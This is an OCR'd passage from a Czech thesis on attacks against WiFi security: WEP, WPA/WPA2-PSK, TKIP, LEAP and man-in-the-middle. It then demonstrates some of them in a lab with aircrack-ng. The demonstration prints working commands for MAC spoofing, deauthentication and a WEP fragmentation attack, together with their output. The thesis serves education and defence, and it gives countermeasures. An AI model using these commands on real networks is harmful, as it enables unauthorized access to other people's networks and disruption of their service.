o prolomeni hesla, tak musime pouzit dostatecné silné heslo, které dokéze celit slovnikovému
utoku. Nejlépe zvolenim kombinace Cisel a pismen s ptidanim specialnich znakt (<,>,#,$
apod.). Dulezité je vyvarovat se vyse zminénym chybam (kratké a jednoduché heslo, pripadné

pouziti riznych variaci).
2.3.3 Utok FMS

Autofi tohoto Gtoku jsou Scott Fluhrer, Itsik Mantin a Adi Shamir. Utok byl popsan v roce

2001. Pro zajimavost: Adi Shamir je spoluautorem algoritmu RC4.

Abychom mohli realizovat tento utok, tak je potieba zachytit dostate¢né mnozstvi dat. Oproti
utoku hrubou silou naopak nepotiebujeme tak velky vypocetni vykon. Neni problém zachytit
dostate¢né mnozstvi dat v siti s velkym provozem (ziskame je béhem né€kolika hodin), potize
ale mohou nastat v siti s malym provozem. Tam muze vSe trvat nékolik dnt, n€kdy i nékolik
tydni. Cely proces ale Ize urychlit napiiklad pomoci injekce paketd. Utoénik napiiklad miize
zachytit ARP paket, o kterém vi, Ze ma délku 28 byti. Tento zachyceny paket opakované
odesila do sité, ¢imz se mu podafi uméle vygenerovat dostatecné mnozstvi provozu. To vse

béhem 1 hodiny. Poté miize pouzit utok FMS.

Utok vyuziva slabin v RC4 Sifrovani a pouZivani tzv. slabych kli¢i. Slabé inicializadni
vektory jsou ve tvaru (K+3, N-1,X). Kudava potadi bytu tajného klice, N je velikost pole
(v nasem ptipad¢ ma velikost 256) a X znaci libovolny byte. K samotnému provedeni tohoto
utoku je potieba znat nékolik pocatecnich byt nesifrovaného textu. To nemusi byt problém,
protoze vSechny IP a ARP pakety zacCinaji hodnotou OxAA. Diky tomu mtizeme prohlasit, ze
témer vzdy zname n€kolik prvnich byt pfimého textu. Prvni byte piimého textu pochazi
od SNAP hlavi¢ky. Prvni byte proudového kli¢e lze odvodit za pomoci operace XOR

S prvnim zaSifrovanym bytem.

Na zacatku utoku je zaplnéno pole S hodnotami od 0 do n. Poté nasleduji 3 itera¢ni kroky
KSA algoritmu. Je zahdjena inicializace pole S. Po 3.kroku tohoto algoritmu uto¢nik muize
odvodit ¢tvrty byte klice za pouziti hodnoty O proudového klice, ktera je na vystupu a ktera

se pocita dle vztahu 2.1:
O—j— S[i] mod n = K]i]. (2.1)

Hodnota i je v tomto kroku rovna 3.
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Je nutné podotknout, Ze cely tento utok je zaloZen na pravdépodobnostnim algoritmu. Coz
znamena, Ze nemame jistotu, ze posledni ziskany byte mé spravnou hodnotu. Sbérem paket
a opakovanim téchto krokd Uto¢nik ziska (vygeneruje) nékolik moznych hodnot. Spravna
hodnota se miize vyskytovat Castéji, utocnik ji vybere a uzna ji jako hodnotu hadaného bytu.

Nasledné se muze pustit do hadani hodnoty patého bytu (kli¢ ma délku 40 bitd, tedy 5 byth).

Obranou vici utoku FMS je aktualizace firmwaru. Tato aktualizace zajiStuje preskakovani
uréitych sekvenci inicializa¢niho vektoru, ¢imz se snizuje vyskyt slabych kli¢t. Diky

vyhybani se slabym klicim pak neni mozno provést titok FMS.
2.3.4 Utok Korek

Tento utok se na rozdil od predchazejiciho utoku nezamétuje na slabé inicializa¢ni vektory,

ale na KSA (Key-scheduling algoritmus).

Existuje 17 rtiznych Korek utokd. Utoky jsou podrobné rozebrany v [11]. Vsechny byly
implementovany do programl, které dokazi prolomit WEP pomoci utoku FMS.

Utoky lze rozdslit do 3 kategorii:
a) Prvni skupina se snaZi zjistit kli¢ na zaklad¢ prvniho vystupniho bytu klice PRGA

b) Druha skupina se snazi zjistit kli¢ na zakladé prvniho a druhého vystupniho bytu klic¢e
PRGA

c) Treti skupina pouziva reverzni metody, pomoci nichz snizuje velikost prohledavaného

prostoru

Utok se podoba do jisté miry ttoku FMS. Jedna se o pasivni Gtok, coZ sebou piinasi obdobné
problémy v siti s malym provozem. Nezbyva nez si pomoci napiiklad injekci pakett.
Podobnost mizeme spatfit i ve zptisobu hadani klice. Rozdil spoc¢iva v tom, ze u Korek utoku
se pokousime odhadnout kli¢ na zaklad¢ znalosti 2 byt proudového klice. U utoku FMS staci

pouze 1 byte.
Obranou vici tomuto utoku je piechod na WPA/WPA 2.
2.3.5 Utok Korek Chopchop

Koncept tohoto utoku byl ptfedstaven roku 2004 v diskuznim féru na netstumbler.org.

Autorem utoku je ¢lovek, ktery vystupuje pod piezdivkou Korek.
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Princip Gtoku spo&iva ve vhodné tpravé pieposilanych dat. Utok vyuziva linearity RC4
Sifrovani. Uprava pieposilanych dat spodiva v tom, e odiezavame byty datové &asti ramce
a poté hadame jejich hodnoty. Nasledné piepocitame kontrolni soucet a odeSleme ramce.
Pokud dojde k situaci, ze AP tyto ramce pieposild, tak mame vyhrano. Na§ odhad byl spravny
a mizeme pokracovat iterativnim zpisobem. Pokud AP ramce nepteposild, tak to znamena, ze
nas§ odhad spravny nebyl a nezbyvad ndm nez zkusit jinou moznost. Problém miize nastat
Vv pripad¢, kdy jsou ramce ptili§ kratké. V takovém piipadé nemusi dojit k odezvé. AP totiz
zahazuji ramce, které jsou kratSi nez 60 byti. Aby doSlo k urychleni celého procesu, tak se
ramce Cisluji pomoci MAC adresy. Podle MAC adresy (po zpétném piijeti ramce) poté neni
problém poznat, ktery byte jsme odhadli spravné a na kterém misté se tento byte nachazel.
Odhalenim datové casti ramce tento Gtok nekonci. Neziskame tim Za4dny kli¢, pouze se sniZi
pocet moznosti, jakych hodnot miize kli¢ dosahovat. Abychom ziskali kli¢, tak musime

pokracovat itokem hrubou silou.

Jak jiz bylo zminéno, tak AP zahazuji ramce, které jsou kratS$i nez 60 byta. Nékteré AP
nemusi byt vli¢i tomuto utoku nachylné, nicméné stale je tu moznost desifrovat konce vétSich

rdmci. Vhodnou obranou proti tomuto utoku je prechod na WPA ptipadné¢ WPA2.
2.3.6 Fragmentacni ttok

Tento typ Utoku je efektivnéjsi nez utok predchdzejici, protoze u tohoto utoku neodesilame
do sit¢ radmce, u nichz hadame jejich hodnotu. K realizaci utoku je nutné zachytit alespon

1 paket.

Pti procesu fragmentace jsou rozdélena data (kterd jsou odesilana v 1 zprave) do vice ramct
(tzv. fragmentti). AP pak tyto fragmenty pospojuje dohromady a odesila je v 1 zprave. Zpravu
Ize rozdélit maximalné na 16 fragmentt. Utoénik ma mozZnost aplikovat injekci pakett. Tu
muze aplikovat na 64 byt dat (4 x 16). Je mozné odeslat data po kouskach (4 byty s 8 byty
PRGA, které byly vraceny). IP paket ma minimalni délku 28 bytl (z toho méa 8 byth SNAP
hlavicka a 20 byt IP hlavicka). Do sité je pak mozné odeslat 36 byt dat (64-28).

Pokud zname 5 bytd PRGA, tak miizeme odeslat do sité ramec s libovolnou délkou. Utoénik
zjisti na zakladé¢ vygenerovanych ramct Cisty text. PfenaSené ramce muize odposlouchavat

a nakonec odhali vétsi ¢ast PRGA.

Obranou vici tomuto utoku je prechod na WPA/WPA 2, eventuelné¢ nepiijimat kratké

fragmenty (jak u AP tak stanic).
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2.3.7 Utok PTW

Utok byl predstaven v roce 2007. Autory tohoto atoku jsou Erik Tews, Andrei Pychkine

vvvvv

autorem utoku na WPA-TKIP (itok Beck-Tews).

Zdroj [22] uvadi, ze je mozné prolomit 104bitovy WEPovy kli¢ béhem 1 minuty
(u 40bitového klice je cely proces rychlejsi). V popisu tohoto utoku je uvedeno, ze pokud
zachytime 40 000 ramct, tak je pravdépodobnost rozlusténi klice zhruba 50%. Plati pravidlo,
ze vetsi pocet zachycenych ramcli znamend vétsi pravdépodobnost rozlusténi klice. Pokud
zachytime napt. 60 000 ramct, je pravdépodobnost rozlusténi kli¢e okolo 80%. Zachytime-li

80 000 ramct, tak je pravdépodobnost rozlusténi klice zhruba 95%.

V tomto utoku se vyuzivé injekce paketli (konkrétné ARP reinjekce). Aby bylo mozné tento
utok realizovat, je nutné zachytit alespoit 1 ARP paket. Zachyceny paket je analyzovan,

modifikovan a poté je odeslan do sité.

Tento utok je ze vSech doposud popsanych utokli nejrychlejSim a nejlepSim zptisobem, jak lze

prolomit Sifrovani pomoci WEP. Jedinou moZznou obranou je pfechod na WPA ¢i WPA 2.
2.4 Utoky na WPA a WPA 2

V této casti se budeme zabyvat utoky na WPA a WPA 2. Pocet utoki na tento typ
zabezpeceni je ve srovnani s utoky na WEP velmi maly. Tento typ zabezpeceni je 1 dnes
velmi dobry a jak si ukdzeme v nasledujici ¢asti, tak neni snadné jej obejit. V ptipadé¢ WPA 2
je tento typ zabezpe€eni mozné obejit pouze tehdy, pokud pracujeme v rezimu PSK. Princip
prolomeni tohoto zabezpeceni je totozny jako u WPA-PSK. Na samotné Sifrovani v rezimu

AES-CCMP prozatim neexistuje zplisob prolomeni této ochrany.

Jako prvni je rozebran slovnikovy utok na WPA-PSK (WPA 2-PSK), tedy zabezpeceni, které
je vhodné pro pouziti v domacnostech a drobnych podnicich. Aby bylo mozné utok realizovat,

je nutné zachytit zpravy, které se vyméni béhem 4-cestného handshaku.

Nasledné je také dan prostor utoku na TKIP a v kratkosti jsou zminény také moznosti obejiti

autentiza¢nich metod protokolu EAP.
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2.4.1 Slovnikovy utok na WPA-PSK

Tento utok lze pouzit pouze na WPA a WPA 2, které pracuji v rezimu PSK. Samotné heslo se
sklada z 8 az 63 znakl. PSK je generovan funkci PBKDF2 (heslo, SSID, délka SSID, 4096,
256). PBKDF2 je metoda, ktera se pouziva ve standardu PKCS#5 . Pouziva se k prevodu
hesel na kli¢e, vyuziva se hashovani. Cislo 4096 udava pocet hash@, &islo 256 znadi

pozadovanou délku kli¢e na vystupu.

PTK se odvozuje z PMK za pomoci 4-cestného handshaku. VSechny informace, které slouzi
k vypoc¢tu hodnoty PMK se prenaseji v nesifrované podobé€. Sila PTK je zavisla na hodnoté
PMK. Hodnota PMK urcuje silu hesla. Dle Roberta Moskowitze muze byt 2.zprava

handshaku zneuzita ke slovnikovym utoktim nebo offline utokd hrubou silou.

Aby bylo mozné provést tento ttok, je nutné zachytit zpravy 4-cestného handshaku v dobg,
kdy se uzivatel pfipojuje do sité. Existuji 2 moznosti, jak zpravy zachytit. Bud’ pouzitim
deautentiza¢niho utoku nebo pouhym pasivnim sledovanim sité. Samoziejmé plati, Ze
pasivnim sledovanim sit¢ trva zachyceni 4-cestného handshaku podstatné delSi dobu, nez
kdybychom pouzili deautentizacni utok. Pro pasivni sledovani sit¢ miizeme pouzit napiiklad

program Kismet.

Jakmile tto¢nik znd ANonce a SNonce (které ziskal z prvni a druhé zpravy handshaku), tak
muze zaCit hadat hodnotu PSK. Pokud ji uhodne, tak mtize ziskat pomoci KCK kod MIC.

Pokud neuhodne, musi provést dalsi pokus a zkusit jinou moznost.

Ackoliv se muze zdat, Ze v dneSni dobé neni vhodnou volbou pouziti WPA-PSK, tak je
potieba uzivatele utvrdit vtom, ze to neni pravda. Toto zabezpeCeni je nadale velmi
spolehlivé a obrana vici utoku (at’ uz slovnikovému nebo hrubou silou) je celkem jasna a byla
zminéna jiz u stejnych Utokti na WEP. Proti témto utokim existuje jedind mozna obrana.
Zvoleni dostatecné silného hesla, které dokéaze celit témto ttokliim a v lepSim piipad¢ heslo

pravideln€¢ ménit.

Zajimavosti je vyuziti grafickych karet k lamani hesel WPA-PSK. Pro Windows k tomuto
ucelu slouzi software od firmy Elcomsoft s nazvem Wireless Security Auditor. Je mozné
pouzit grafické karty od Ati a Nvidie. V Linuxu existuje k tomuto tGcelu utilitka s ndzvem
Pyrit. UZitim technologie CUDA u Nvidie lze dosdhnout pomérné zajimavych vysledka. Jak
uvadi zdroj [2] lze zjistit béhem jediné sekundy na grafické kart¢ Nvidia GTX480
28 000-32 000 klict PMK. Zdroj rovnéz nabizi srovnani s konkurenci. U pouzitého modelu
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Ati 5970 se pocet zjisténych PMK kli¢i pohyboval v rozmezi 53 000-65 000 za jedinou
sekundu. Zde je vidét pomérné velky rozdil, vidime, ze karta od Ati dokézala zjistit
za 1 sekundu dvojnasobny pocet kli¢t oproti konkurenéni Nvidii. Udajné existuje tweak,

ktery mize zptistupnit dalsi jadro(a) a zvednout tak vykon o dalSich 40%, coz by znamenalo

priblizng 100 000 zjisténych PMK za sekundu.
2.4.2 Utok Beck-Tews

Tento Utok byl pfedstaven vroce 2008. Autory utoku jsou Martin Beck a Erik Tews
z Technické univerzity v Drazdanech a Darmstadtu. O Eriku Tewsovi jiz byla fec
v souvislosti s atokem na WEP (atok PTW), ktery je ze vSech ttoka nejefektivnéjsi (diky
tomu, ze dokaze diky ,malému®“ poctu zachycenych ramci rozlustit WEPovy Klic)

a zaroven nejrychlejsi.

Tento utok lze realizovat pouze pokud pouzivime WPA s bezpecnostnim protokolem TKIP.
Pokud tedy pouzivate WPA s bezpecnostnim protokolem AES, ktery je zalozen na CCMP, tak
se nemusite niceho obdvat. AES dokaze tomuto utoku odolat. Je potfeba zminit 1 zasadni
rozdil oproti vS§em doposud popsanym utokiim. Timto utokem neziskame kli¢, jako tomu bylo
u utoklt na WEP nebo piedchoziho utoku na WPA-PSK. Pomoci tohoto utoku miizeme
generovat faleSné pakety. Tyto pakety odesilame klientovi, ktery je ptfipojen k AP. Je nutné
podotknout, Zze Utok umoZiuje generovat pouze omezeny pocet paketd. Navic nemame

zaruceno, ze se nam podaii deSifrovat kazdy paket.

Utok umoziiuje klientovi zaslat bdhem 4-12 minut 7 fale§nych paketd, které klient povazuje
za pakety poslané z AP. Utok umoZiuje pouze jednostrannou komunikaci, ale je mozné ho

pouzit na realizaci jinych utoki (napiiklad presmérovani podvrhnutim ARP, DHCP nebo

DNS paketi).

Diky tomuto utoku je mozné pomérné jednoduchym zplhsobem obejit firewall a NAT.
VloZeny fale$Sny paket mize byt regulérnim IP paketem, odpovidajici pakety od klienta pak
mohou byt zaslany uto¢nikovi pifes Internet. Jakmile je odeslan 1.odpovidajici paket, tak si
firewall mysli, Ze spojeni inicializoval klient. Poté povoli posilani paketd, které ptichdzeji

Z Internetu.

Utok obsahuje modifikaci atoku Korek Chopchop ( podrobné rozebrano v kapitole 2.3.5).
K provedeni utoku je nutné zachytit ARP paket. Tento paket lze identifikovat podle jeho

délky. Poté to¢nik zjisti 12 bytd kontrolnich soucti Michael a kontrolni soucet integrity

28



Technicka univerzita v Liberci Lukas Navratil

tohoto paketu. Nasledné je pouzit modifikovany Chopchop utok. Zkracené a modifikované
pakety (modifikace odiezavanim) odesilame opakované¢ do sit¢ a hadame jejich hodnotu.
Nemame vzdy jistotu, ze nas odhad byl spravny, proto mize utok ve vysledném case trvat
trochu déle. Utok trva pfiblizng 12 minut, protoze pokud dojde k neshodé u kontrolnich
souCti Michael algoritmu 2x po sobé béhem 60 sekund, tak je to povazovdno za utok

a automaticky dochazi ke zméng klicu.

Zjistovani kontrolnich soucti musi probihat na QoS kandle s menSim poradovym cislem

paketu nez mél zachyceny paket, jinak by klient podvrzené pakety odmitl pfijmout.

Po zjisténi kontrolnich souctd uz pak pro utocnika neni problém dopocitat z kontrolnich
souctll n€kolik nezndmych bytih ARP paketu. Témito byty byvaji zpravidla IP adresy. Poté
miuze dopocitat kli¢ Michael algoritmu. Po rozsifrovani paketu ma k dispozici posloupnost
proudového klice RC4 zklice pro dany paket. Nasledné je pouzita operace XOR
mezi neSifrovanym paketem a takto ziskanou posloupnosti proudového kli¢e. Takto ziskana
posloupnost je ale platna pouze pro dané sekvenéni &islo rozsifrovaného paketu. Utoénik ji
muze pouzit pouze k zasifrovani a odeslani 1 paketu na kazdém QoS kanéle s mensim ¢islem
nez je Cislo zaSifrovaného paketu. QoS ma 8 kanall, je mozno odeslat maximalné
7 fale$nych paket. Utok je moZno provést opakovand. Nalezeni kontrolniho soudtu integrity

trva ptiblizn¢ 4 minuty.

Obranou vic¢i tomuto Utoku je prechod na zabezpeceni AES. Pokud nemate hardware, ktery

by toto umoznil a museli byste zlstat u TKIP, tak nezbyva nic jiného nez vypnuti podpory

QoS.

2.4.3 Utoky na autentizaéni schémata protokolu EAP

V této Casti si velmi struéné popiSeme moznosti obejiti autentizacnich mechanismti. Nejveétsi

¢ast je vénovana slovnikovému utoku na LEAP.

Jak jiz bylo zminéno, tak tato varianta protokolu EAP se nedockala velkému rozsifeni ani
oblibé. K ovéteni hesla se pouzivd modifikovand verze protokolu MS-CHAPvV2. LEAP
odesila uzivatelské jméno jako prosty text, vyuziva se DES Sifrovani. Vyzva, kterd ma 8 byti,
se 3x nezavisle zaSifruje jako prosty text a je odeslana jako 24 bytova odpovéd.
Na vygenerovani 3 klict pro DES se pouziva 16 bytovy MD4 hash (NT hash, pouZivany ve
Windows).
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Postup generovani klict vypada nasledovné:
Kli¢ 1: NT1-NT7

Kli¢ 2: NT8- NT14

Kl1i¢ 3: NT15NT16 0 0 0 0 0 (5 nulovych byti)

Jak sami vidime, tak zdsadni potiz nastava u 3. kli¢e. Tento kli¢ je slaby, protoze 5 nul je
pritomno v kazdé vyzveé i odpovédi. Diky tomu je velikost DES kli¢e pouze 16 bytu.
Prolomeni klice takového klice pak neni problém, pomiize ndm to spocitat 2 z 8 MD4 hashii.

Muzeme pouzit slovnik s ptedvypocitanou tabulkou hasht.

Co se tyCe utoku na ostatni varianty (EAP-TTLS, PEAP), tak ty jsou velmi nachylné
k Gtokiim typu Man in the middle, o kterych pojednava dalsi ¢ast. Vyuziva se podvrzeni

certifikatt a faleSnych ptistupovych bodu.
2.5 Utoky typu Man in the middle

Jelikoz budeme v dalSi cCasti prace porovnavat odolnost jednotlivych bezpecnostnich

mechanismi vici utoklim typu Man in the Middle, je potfeba zminit, o co se vlastné jedna.

Utoky typu Man in the Middle jsou v informatice pomérné zavaznym problémem. V praxi se
jedna o to, Ze uto¢nik odposlouchava komunikaci mezi ucastniky V siti. Demonstrujme si to

na nasledujicim ptikladu.

Mame 2 téastniky v siti. Ugastnici spolu komunikuji na zakladé vymény kli¢i. Osoba A zasle
osobé B svijj vefejny kli¢ a naopak osoba B zasle osob& A sviij vetejny kli¢. Utoénik je viak
muze snadno obelstit. Zachyti kli¢ pifi pfenosu od osoby A, zaméni ho se svym klicem a ten
odesle osobé B. To samé udéla pii prenosu klice od osoby B k osobé A. Obé osoby si pak
mysli, Ze maji kli¢e od toho druhého, ve skutecnosti je ale ma tto¢nik (muz uprostied). Diky

tomu pak snadno mtize desifrovat a precist si vSe, co se prendsi mezi témito 2 osobami.

Nejznaméj$imi utoky typu Man in the Middle jsou Falesné AP a Fale$Sna autentizace.
V 1.ptipad¢ se Uto¢nik snazi nastavit svou bezdratovou kartu tak, aby se tvafila jako AP,
ke kterému se pfipoji obét’. Je nutné, aby byl dostate¢né silny signal (jinak by se k nasemu
faleSnému AP obét nepfipojila), musime byt bud’ blizko obéti nebo mit dostate¢né silnou
anténu, kterd by ptebila signal od spravného AP. Ve chvili, kdy je obét’ ptipojena, vyzada si

od DHCP serveru IP adresu a s ni vS§echny potfebné informace o siti, mimo jiné i adresu DNS
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serveru. Kdyz je obét’ pfipojena na fake AP, putuje komunikace pies vas pocitac a zalezi

jenom na vas, co s ni ud¢late.

Co se tyCe faleSné autentizace, tak tu je mozno provést bez znalosti kli¢e. Pokud uto¢nik
zachyti autentiza¢ni sekvenci, tak pro néj neni problém zjistit vyzvu i odpovéd. Nasledné
postupuje stejnym zpusobem jako u injekce paketd. Zjisti Sifrovaci sekvenci, vyzada si
autentizaci a k zaSifrovani vyzvy (kterou obdrzi od AP) pouzije zjisténou Sifrovaci sekvenci.

Vytvoti platnou odpovéd a podaii se mu provést platna autentizace.
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3 Realizace utoku na bezdratové sité WiFi

V této Casti jsou realizovany utoky na bezdratové sit¢ WiFi. Nejdiive je pfedstaven pouzity
hardware a pouzity software. Poté jsou realizovany utoky na nejslabsi ochrany (filtrace MAC

adres a deautentiza¢ni Gtok), nasledné pak utoky na WEP a WPA/WPA 2 v rezimu PSK.

3.1 Pouzity hardware

Klient Uto¢nik
Procesor Intel Atom 1.6GHZ Celeron 2GHZ
Pamét’ 1 GB DDR2 2 GB DDR2
Graficka karta Intel GMA X3150 Intel GMA X3100

Atheros

WiFikarta Atheros AR50007EG | AR5007EG
Rezim WiFikarty Managed Monitor
Podporované
standardy 802.11b/g 802.11b/g
MAC adresa 18:F4:6A:71:FB:04 00:15:AF:98:C6:2A
Operacni systém Windows 7 Starter Ubuntu 10.04

Tabulka 3.1- Sestavy klienta a tuto¢nika

Nazev zafizeni ZyXel P-660HN-T3A
ESSID Internet

BSSID 50:67:F0:8B:62:24
Podporované standardy | 802.11 b,g,n

Zabezpedeni WEP, WPA WPA 2, Radius

Tabulka 3.2-Informace o0 AP

32



Technicka univerzita v Liberci Lukas Navratil

3.2 Pouzity software
K realizaci utoki na bezdratové sité byl pouzit tento software:

1.) Na monitorovani provozu v siti- Network Stumbler, Inssider, Wireless Netview,
Kismet
2.) Utoky na WEP, WPA a WPA 2- balik programi aircrack-ng

vvvvvv

nas aircrack-ng, aireplay-ng, airmon-ng, airodump-ng, tkiptun-ng a packetforge-ng. Pro

bezproblémovy chod aplikace aireplay-ng je dulezité, aby WiFikarta podporovala injekéni

reZim a monitorovaci rezim pro aplikaci airodump-ng.

Aplikace Pouziti aplikace

airbase-ng Vytvoteni Fake AP, dalsi utoky proti klientim

aircrack-ng Lamani hesel (WEP a WPA/WPA 2 v rezimu PSK)

airdecap-ng Desifrovani WEP/WPA S$ifrovanych paketd.

airdriver-ng Umoznuje instalaci bezdratovych ovladact

airolib-ng Uklada a spravuje seznam klici (WPA)

airmon-ng Aktivace/deaktivace monitorovaciho modu

aireplay-ng Injekce paketi

airodump-ng Zaznam WiFi paketd

airtun-ng Tvorba virtualnich tuneld

airserv-ng Umoznuje pouziti jednoho kusu hardware pro vice aplikaci
Komunikace s AP, které je Sifrované pomoci WEP (bez znalosti

easside-ng klice)

packetforge-ng Modifikace paketi

wesside-ng Automaticky nastroj na prolomeni WEP zabezpeceni

tkiptun-ng Implementace utok Beck-Tews

nastroje Po dé€leni a konvert soubort.

Tabulka 3.3- Popis baliku aircrack-ng
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3.3 Zména MAC Adresy
Postup pii zjisténi MAC adresy piipojeného klienta:

1.) Spustil jsem program airmon-ng. Tento program mi vytvofil virtualni rozhrani mon0.

2.) Spustil jsem program airodump-ng (pro vytvoiené rozhrani mon 0), diky kterému jsem
zjistil MAC adresu klienta, ktery je aktualné ptipojeny k AP. Dokumentuje to obrazek
3.1, popis jednotlivych symbolil je uveden v tabulce 3.4

3.) Otevrel jsem terminal a zadal jsem piikaz ifconfig, pomoci kterého jsem deaktivoval
rozhrani wlan0. Poté jsem zménil MAC adresu tohoto rozhrani na MAC adresu

klienta, ktery je aktualné pfipojen k AP a opét jsem aktivoval rozhrani wlan0.

Tento zplisob mize pripadat fad¢ lidi pon€kud zdlouhavy a zbyte¢né komplikovany. Pro

Linux existuje program macchanger, kde 1ze nasledujici postup shrnout do jednoho piikazu:

Macchanger —m 18:F4:6A:71:FB:04 wlan0

CH 8 ][ Elapsed: 7 mins ]

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

58:67:F0:BB:62:24 -43 4495 ] B 8 54 WEP WEP Internet
1C:AF:F7:98:5D:E8 -89 2 2] @ 11 54e. WPA2 CCMP PSK ewifi

BSSID STATION PWR  Rate Lost Packets Probes

o0:07:FO:BB:062:24 0©0:15:AF:98:C6:2A ] g - b8
58:67:FO:BB:62:24 18:F4:6A:71:FB:04 -58 B - 48 Internet

Obrazek 3.1 — Ukazka analyzy sité v programu Airodump-ng
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Parametr Popis

CH Cislo kanalu

BSSID MAC adresa AP

PWR Urover signélu

RXQ Kwvalita signalu

Beacons Pocet odeslanych beaconil

#Data Pocet zachycenych datovych pakett

#ls Pocet prijatych datovych paketl za 1 sekundu (méfeno poslednich 10 sekund)
MB Maximalni pifenosova rychlost sité

ENC Mechanismus, ktery je pouzity k Sifrovani dat

CIPHER Typ pouZité Sifry

AUTH Udaj o pouzitém autentizaénim protokolu

ESSID SSID sité

Rate Zobrazuje se pouze v piipadé, kdyZ je nastaveny 1 monitorovaci kanal

Lost Pocet ztracenych paketii od stanice

Packets Pocet pakettl, které jsou odeslany stanici

Probes Oznacluje sit’, ke které se stanice bude pfipojovat (nebo ke které jiz je pfipojena)

Tabulka 3.4-Popis parametri v programu airodump-ng

3.4 Zjisténi skrytého SSID-Deautentizacni ttok

Postup pfi realizaci deautentiza¢niho utoku:

1.) Nejprve je nutné analyzovat vSechny sité v okoli. U sité, kterou si zvolime

pro realizaci deautentiza¢niho utoku si musime zapamatovat MAC adresu sit¢ a kanal,

na kterém tato sit’ pracuje.

2.) Nasi bezdratovou kartu musime pfepnout do monitorovaciho rezimu. K tomu slouzi

program airmon-ng, ktery nam vytvofii rozhrani mon0.

3.) Sit, kterou jsme zvolili, podrobime analyze pomoci programu airodump-ng. U néj 1ze

specifikovat MAC adresu sit¢ (pomoci parametru —d lze zobrazit pouze sité

s odpovidajici MAC adresou) a nastavime ¢islo kanalu (parametr —)

Pomoci programu aireplay-ng si vytvofime deautentizani ramec. Tento rdmec se pouzije pro

deautentizaci Kklienta.Odesleme tento ramec zadanim piikazu —O (pomoci piikazu -a

nastavime cilovou MAC adresu AP a pomoci piikazu —c cilovou MAC adresu klienta).

Nechdme si spustény airodump-ng a pockdme si na okamzik, kdy se klient opakované

autentizuje. V té chvili mizeme zachytit skryté SSID.
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# aireplay-ng -0 1 -a 50:67:F0:8B:62:24 -c 18:F4:6A:71:FB:04 mon0
09:27:14 Waiting for beacon frame (BSSID: 50:67:F0:8B:62:24) on channel 8

09:27:15 Sending 64 directed DeAuth. STMAC: [18:F4:6A:71:FB:04] [ 2| 4 ACKSs]

Obrazek 3.2 — Deautentiza¢ni utok
Kismet mi dokdzal rozpoznat, ze se nékdo pokusil provést deautentizaci:

DEAUTHFLOOD Deauthenticate/Disassociate flood on 50:67:F0:8B:62:24
3.5 Utoky na WEP

3.5.1 Fragmentac¢ni utok

Utok slouzi stejné jako utok Chopchop k ziskani PRGA. U obou ttokd tedy neziskame ki,
ale ziskame data pomoci kterych mizeme vytvofit nové pakety pro injekci. PRGA se uklada
do souborti, které maji ptiponu .xor. Takto ziskany PRGA se mlZe pouZit pro vygenerovani
paketli, na které budeme aplikovat injekci. Nasledné si vygenerujeme ARP paket, na ktery
pouzijeme také injekci. Pokud AP vysild takto vytvofeny paket vSemi sméry, tak diky tomu
muzeme ziskat novy inicializa¢ni vektor. Az mame dostatek inicializanich vektord, tak

muzeme prolomit WEP kli¢ pomoci utoku FMS/Korek (ptipadné také utok PTW).

K realizaci tohoto utoku jsem pouzil program aireplay-ng. V moment¢, kdy k ndm dorazi
paket, tak se nas aireplay-ng zepta, zda-li méa pouzit paket, ktery jsme pravé ziskali.
Odpovime, Ze ano. Aby naSe snazeni nebylo marné, tak je potieba vyzkouset vice paketi.

Ukazka realizace fragmentacniho utoku je na obrazku 3.3

Utok spustime zadanim parametru -5. Pomoci parametru —e nastavime hodnotu cilového
SSID, parametr —b poslouzi k nastaveni cilové MAC adresy AP a parametr —h nastavi

zdrojovou MAC adresu.

Utok jsem tedy spustil pomoci tohoto piikazu:
aireplay-ng -5 -e Internet -b 50:67:F0:8B:62:24 -h 18:F4:6A:71:FB:04 mon0
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10:30:41 Waiting for beacon frame (BSSID: 50:67:F0:8B:62:24) on channel 8
10:30:41 Waiting for a data packet...
Read 70735 packets...

Size: 117, FromDS: 1, ToDS: 0 (WEP)
BSSID = 50:67:F0:8B:62:24

Dest. MAC = 33:33:00:01:00:03
Source MAC = 18:F4:6A:71:FB:04

0x0000: 0842 0000 3333 0001 0003 5067 f08b 6224 .B..33....Pg..b$
0x0010: 18f4 6a71 fb04 e014 414b 9100 aaaa 0300 ..jg....AK......
0x0020: 0000 86dd 6000 0000 0021 1101 fe80 0000 ...."...L.....
0x0030: 0000 0000 117f 73c8 5886 02d4 ff02 0000 .....[BL.X.......
0x0040: 0000 0000 0000 0000 0001 0003 ea38 14eb ............. 8..
0x0050: 0021 71b0 720f 0000 0001 0000 0000 0000 .!g.r...........
0x0060: 074e 6574 626f 6f6b 0000 ffO0 015 fd57 .Netbook......W
0x0070: a2fe 5121 c5 QL

Use this packet ? y

Saving chosen packet in replay_src-0519-112152.cap
11:23:01 Data packet found!

11:23:01 Sending fragmented packet

11:23:03 No answer, repeating...

11:23:03 Trying a LLC NULL packet

11:23:03 Sending fragmented packet

11:23:04 No answer, repeating...

11:23:42 Still nothing, trying another packet...

Read 64 packets...

Size: 116, FromDS: 0, ToDS: 1 (WEP)
BSSID = 50:67:F0:8B:62:24

Dest. MAC = FF:47.64.0B:21:D3
Source MAC = 18:F4:.6A:71:FB:04

0x0000: 0841 0000 5067 f08b 6224 18f4 6a71 fb04 .A..Pg..b$..jq..
0x0010: ff47 640b 21d3 400d 414b 9100 e0e0 034a .Gd.!.@.AK.....J
0x0020: 7574 flab 1170 7372 7d5d 6e7f 87f8 7b7a ut...psr}n1.{z
0x0030: 6564 6766 701f 10aa 35ea 6dba 966a 6b6a edgfp...5.m..jK|
0x0040: 15141716 11101312 1d1d 1fld f320 Offl ........... ..

0x0050: 0525 76b6 730f 0302 0d0d 0f0e 0908 Obla .%v.s...........
0x0060: 327a 5242 535f 5¢59 3d3c c03e 38cd c66d 2zRBS \Y=<.>8..m
0x0070: c63c 8f2a <*

Use this packet ? y

Saving chosen packet in replay_src-0519-112349.cap
11:24:44 Data packet found!

11:24:44 Sending fragmented packet

Obriazek 3.3-Ukazka fragmentacniho utoku
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3.5.2 Korek Chopchop utok

K realizaci opét pouzijeme aireplay-ng. S tim rozdilem, Ze ke spusténi pouzijeme parametr -4.
Aplikace se nas opét zeptd, zda-1li chceme pouzit obdrzeny paket, opét tedy odpovime, ze ano.

Prabéh utoku je znazornén na obrazku 3.4

Utok byl spustén timto piikazem:

